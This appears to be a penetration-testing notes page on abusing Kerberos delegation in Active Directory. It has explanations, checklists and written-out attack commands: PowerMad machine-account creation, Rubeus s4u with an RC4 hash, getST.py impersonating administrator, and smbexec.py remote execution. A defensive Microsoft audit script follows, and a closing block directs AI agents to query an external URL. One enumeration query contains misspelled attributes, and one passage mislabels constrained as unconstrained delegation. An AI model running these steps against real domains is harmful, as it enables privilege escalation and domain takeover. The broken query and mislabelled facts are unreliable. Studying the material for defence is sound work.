# authentication-delegation

Kerberos delegation allows for an account to impersonate another Active Directory account. The impersonating account needs to have the Trust\_To\_Authenticate\_For\_Delegation (T2A4D) set. If the flag is set, the impersonating account can request a token on behalf of another user without the target user's password.

When T2A4D is set, the impersonating account can request a forwardable token which allows the impersonating account to use the token for other services.

To be able to set the Trusted\_To\_Authenticate\_For\_Delegation flag and set ms-DS-AllowedToDelegate service, the controlling account must have SeEnableDelegationPrivilege.

To be able to use a user account for impersonating another user, the impersonating user needs to have the permissions `SeTcbPrivilege` and `SeImpersonate`.

* This is usually reserved for the SYSTEM user

If you can create a computer account and set the Trusted\_To\_Authenticate\_For\_Delegation along with the ms-DS-AllowedToDelegate, you can use that account to escalate privileges.

## Types of Delegation

### Unconstrained Delegation

This was the initial answer to the problem in (available in Windows 2000) of allowing a service to authenticate as another user to another server. However, after being quickly abused, Microsoft came up with the later version, Constrained Delegation, which we will talk about later. When a user authenticates to the impersonating service, the user's TGT is included with the TGS. The impersonating service then extracts the TGT and uses it to request TGS for the target service.

Unconstrained delegation allows a user with TrustedForDelegation set to impersonate any user that does not have NOT\_DELEGATED set to any service. This causes what is now a very obvious vulnerability if that service ever gets take over.

#### Finding

```powershell
Get-ADCOmputer -Filter {TruststedForDelegation -eq $True -and primarygrupid -eq 515} -Properties TrustedForDelegation,ServicePrincipalName,Description,TrustedToAuthForDelegation,msDS-AllowedToDelegateTo,PrincipalsAllowedToDelegateToAccount
```

or

```powershell
Get-ADComputer -LDAPFilter "(userAccountControl:1.2.840.113556.1.4.803:=524288)"
```

#### Abusing

* [ ] Compromise a machine that has TrustedForDelegation set to True
* [ ] Capture authentications to the service
  * [ ] You can use Rubeus.exe in monitor mode
  * [ ] You can coerce authentication for an arbitrary account with tools such as SpoolSample.exe
* [ ] Convert the base64 ticket to a kirbi
* [ ] Use pass-the-ticket to gain access to the service as the captured user

### Constrained Delegation & Protocol Transition

#### User Uses Kerberos Authentication

This delegation requires the user to get the Ticket Granting Service (TGS) ticket to access the impersonating service using the S4U2Proxy Kerberos add-on. The impersonating service will then use that TGS to authenticate to another service on the user's behalf. The ticket given to the impersonating service needs to have the FORWARDABLE flag set. This flag will never get set for any user with USER\_NOT\_DELEGATED set to true or for members in the "Protected Users" group.

Constrained delegation became available in Windows 2003.

#### User Uses Any Protocol Other Than Kerberos

The issue with unconstrained delegation is that it limits users to authenticate using only Kerberos. When this is not possible, a service may still need to act on behalf of another user. To solve this issue Microsoft came up with the S4U2Self and TrustedToAuthForDelegation (T2A4D). If a user authenticates to an impersonating service with T2A4D using any protocol other than Kerberos, the impersonating service will user S4U2Self to request a TGS from an authentication service which it will then present using S4U2Proxy.

This is only possible when the T2A4U flag is set for a specific service account that will use S4U2Self.

#### Abusing

* [ ] Request a TGT as the account with constrained delegation enabled
  * [ ] You can use Kekeo or Rubeus.exe for that
* [ ] Request a TGS for the account you want to impersonate using the previously acquired TGT
* [ ] Access the target service with the newly acquired TGS

### Resource Based Constrained Delegation

This type of delegation allows for the delegation settings to be set on the resource service instead of the impersonating account. The delegation is implemented on the resource service through the msDS-AllowedToActOnBehalfOfOtherIdentity property. This property is is stored as binary bytes.

#### Abusing

#### Requirements

* [ ] You need to have control over an account with S4U2Self enabled
* [ ] You need to have another account that has edit rights over a computer object you want to target

#### Steps

* [ ] Check for users with S4U2Self enabled

```powershell
# find targets with S4U2Self enabled
Get-ADObject -LDAPFilter '(userAccountControl:1.2.840.113556.1.4.803:=16777216)' -Properties samaccountname,useraccountcontrol | fl
```

If you do not have access to a user with these permissions all is not lost. You may be able to create one out of thin air. Check to see if the domain has the `ms-DS-MachineAccountQuota` set.

```powershell
Get-ADObject ((Get-ADDomain).distinguishedname) -properties ms-ds-machineaccountquota
```

There is not an easy way to query to see if a particular user has the ability to create any more machine accounts. To determine if the user can create another account, the attribute of ms-DS-CreatorSID is referenced on all machine accounts to see if the the user has created the max amount yet or not. So since the quota is determined dynamically and is not stored as an attribute of the user account, you will have to query all machine accounts and filter out only the ms-DS-CreatorSID that you are interested in.

```powershell
@(Get-adcomputer -filter "ms-ds-creatorsid -eq ""$((Get-ADuser -filter {samaccountname -eq 'user'}).sid.value)""").count
```

* [ ] Check if your target user has GenericWrite permissions on your target computer This can come in two ways. Your user can have been given direct access or it could be through a group. You can do this by using Sharphound or Bloodhound.py. You can also use PowerShell

```powershell
$Filter = '(&(|(|(samAccountName=dc.support.htb)(name=dc.support.htb)(dnshostname=dc.support.htb))))'
$RootOU = 'DC=support,DC=htb'
$PropertiesToLoad = @('samaccountname','ntsecuritydescriptor','distinguishedname','objectsid','adspath')
$SecurityMasks = 'DACL'

$Searcher = New-Object DirectoryServices.DirectorySearcher
$PropertiesToLoad | foreach-object {$searcher.PropertiesToLoad.add($_)}
$Searcher.SearchRoot = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$($RootOU)")
$Searcher.Filter = $Filter
$Searcher.SearchScope = 'Subtree'
$Searcher.SecurityMasks = $SecurityMasks
$results = $Searcher.FindAll()
$object = $results.properties
```

* [ ] Create a new computer account
* [ ] Set msDS-AllowedToActOnBehalfOfOtherIdentity to have the newly created computer account
* [ ] Leverage Rubeus to attack the target host

```
.\Rubeus.exe s4u /user:RBCDMachine$ /rc4:0DE1580972A99A216CED8B058300033F /impersonateuser:kevinj /msdsspn:cifs/SBPMLAB-DC2.sbpmlab.net /ptt
cd \\<TARGET>\C$
dir
```

This is not the only attack that can be done. You could consider a DCSync Attack. You can also attack this remotely and get code execution with Impacket tools.

Using getST.py,smbexec.py, ticketConverter.py,

* [ ] Create a computer object and set the password to a known value This example uses PowerMad

```powershell
New-MachineAccount -MachineAccount <machine name> -Password $(ConvertTo-SecureString 'p@ssword' -AsPlainText -Force) -Verbose
Get-DomainComputer attacker -Properties objectsid
```

PowerMad uses LDAP to create the new account instead of using New-ADComputer. From my testing, it seems like New-ADComputer will not work to create a machine account if the user only has the ability from the ms-DS-MachineAccountQuota attribute.

* [ ] Give the new computer object the Constrained Delegation privilege.

```powershell
Set-ADComputer (Get-Variable -Name "targetComputer").Value -PrincipalsAllowedToDelegateToAccount <machine samAccountName>
```

* [ ] Impersonate a user to get a ticket from that user.

```bash
getST.py <domain>/<machine account name> -dc-ip <IP or Domain name> -impersonate administrator -spn <target spn>

Password: <enter machine account password>
```

* [ ] Set the KRB5CCNAME to the name of the kirbi file

```bash
export KRB5CCNAME=administrator.ccache
```

* [ ] Use smbexec.py to connect to the target

```bash
smbexec.py <domain>/user@<target host>
```

## Script

This is an old script used to identify Kerberos delegation and highlight potential issues. This script came from [here](https://blog.netwrix.com/2021/11/30/what-is-kerberos-delegation-an-overview-of-kerberos-delegation/)

```powershell
<#  
.Synopsis  
    Search the domain for accounts with Kerberos Delegation.  
.DESCRIPTION  
    Kerberos Delegation is a security sensitive configuration. Especially  
    full (unconstrained) delegation has significant impact: any service  
    that is configured with fullB delegation can take any account that  
    authenticates to it, and impersonate that account for any other network  
    service that it likes. So, if a Domain Admin were to use that service,  
    the service in turn could read the hash of KRBRTG and immediately  
    effectuate a golden ticket. Etc :)  
  
    This script searches AD for regular forms of delegation: full, constrained,  
    and resource based. It dumps the account names with relevant information (flags)  
    and adds a comment field for special cases. The output is a PSObject that  
    you can use for further analysis.  
  
    Note regarding resource based delegation: the script dumps the target  
    services, not the actual service doing the delegation. I did not bother  
    to parse that out.  
  
    Main takeaway: chase all services with unconstrained delegation. If  
    these are _not_ DC accounts, reconfigure them with constrained delegation,  
    OR claim them als DCs from a security perspective. Meaning, that the AD  
    team manages the service and the servers it runs on.  
  
.EXAMPLE  
   .\Search-KerbDelegatedAccounts.ps1 | out-gridview  
.EXAMPLE  
   .\Search-KerbDelegatedAccounts.ps1 -DN "ou=myOU,dc=sol,dc=local"  
.NOTES  
    Version:   0.1 : first version.  
                    0.2 : expanded LDAP filter and comment field.  
    Author:         Willem Kasdorp, Microsoft.  
    Creation Date:  1/10/2016  
    Last modified:  4/11/2017  
#>  
  
[CmdletBinding()]  
Param  
(  
    # start the search at this DN. Default is to search all of the domain.  
    [string]$DN = (Get-ADDomain).DistinguishedName  
)  
  
$SERVER_TRUST_ACCOUNT = 0x2000  
$TRUSTED_FOR_DELEGATION = 0x80000  
$TRUSTED_TO_AUTH_FOR_DELEGATION= 0x1000000  
$PARTIAL_SECRETS_ACCOUNT = 0x4000000   
$bitmask = $TRUSTED_FOR_DELEGATION -bor $TRUSTED_TO_AUTH_FOR_DELEGATION -bor $PARTIAL_SECRETS_ACCOUNT  
  
# LDAP filter to find all accounts having some form of delegation.  
# 1.2.840.113556.1.4.804 is an OR query.  
$filter = @"  
(&  
  (servicePrincipalname=*)  
  (|  
    (msDS-AllowedToActOnBehalfOfOtherIdentity=*)  
    (msDS-AllowedToDelegateTo=*)  
    (UserAccountControl:1.2.840.113556.1.4.804:=$bitmask)  
  )  
  (|  
    (objectcategory=computer)  
    (objectcategory=person)  
    (objectcategory=msDS-GroupManagedServiceAccount)  
    (objectcategory=msDS-ManagedServiceAccount)  
  )  
)  
"@ -replace "[\s\n]", ''  
  
$propertylist = @(  
    "servicePrincipalname",  
    "useraccountcontrol",  
    "samaccountname",  
    "msDS-AllowedToDelegateTo",  
    "msDS-AllowedToActOnBehalfOfOtherIdentity"  
)  
Get-ADObject -LDAPFilter $filter -SearchBase $DN -SearchScope Subtree -Properties $propertylist -PipelineVariable account | ForEach-Object {  
    $isDC = ($account.useraccountcontrol -band $SERVER_TRUST_ACCOUNT) -ne 0  
    $fullDelegation = ($account.useraccountcontrol -band $TRUSTED_FOR_DELEGATION) -ne 0  
    $constrainedDelegation = ($account.'msDS-AllowedToDelegateTo').count -gt 0  
    $isRODC = ($account.useraccountcontrol -band $PARTIAL_SECRETS_ACCOUNT) -ne 0  
    $resourceDelegation = $account.'msDS-AllowedToActOnBehalfOfOtherIdentity' -ne $null  
  
    $comment = ""  
    if ((-not $isDC) -and $fullDelegation) {  
        $comment += "WARNING: full delegation to non-DC is not recommended!; "  
    }  
    if ($isRODC) {  
        $comment += "WARNING: investigation needed if this is not a real RODC; "  
    }  
    if ($resourceDelegation) {  
        # to count it using PS, we need the object type to select the correct function... broken, but there we are.  
        $comment += "INFO: Account allows delegation FROM other server(s); "  
    }  
    if ($constrainedDelegation) {  
        $comment += "INFO: constrained delegation service count: $(($account.'msDS-AllowedToDelegateTo').count); "  
    }  
  
    [PSCustomobject] @{  
        samaccountname = $account.samaccountname  
        objectClass = $account.objectclass         
        uac = ('{0:x}' -f $account.useraccountcontrol)  
        isDC = $isDC  
        isRODC = $isRODC  
        fullDelegation = $fullDelegation  
        constrainedDelegation = $constrainedDelegation  
        resourceDelegation = $resourceDelegation  
        comment = $comment  
    }  
}
```

## References

* <https://labs.withsecure.com/publications/trust-years-to-earn-seconds-to-break>
* <https://medium.com/r3d-buck3t/attacking-kerberos-constrained-delegations-4a0eddc5bb13>
* <https://www.itprotoday.com/active-directory/most-confusing-dialog-box-active-directory>
* <https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html>
* <https://blog.harmj0y.net/activedirectory/s4u2pwnage/>
* <https://blog.harmj0y.net/redteaming/another-word-on-delegation/>
* <https://blog.netwrix.com/2021/11/30/what-is-kerberos-delegation-an-overview-of-kerberos-delegation/>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://book.dragonsploit.com/windows/active-directory/authentication-delegation.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
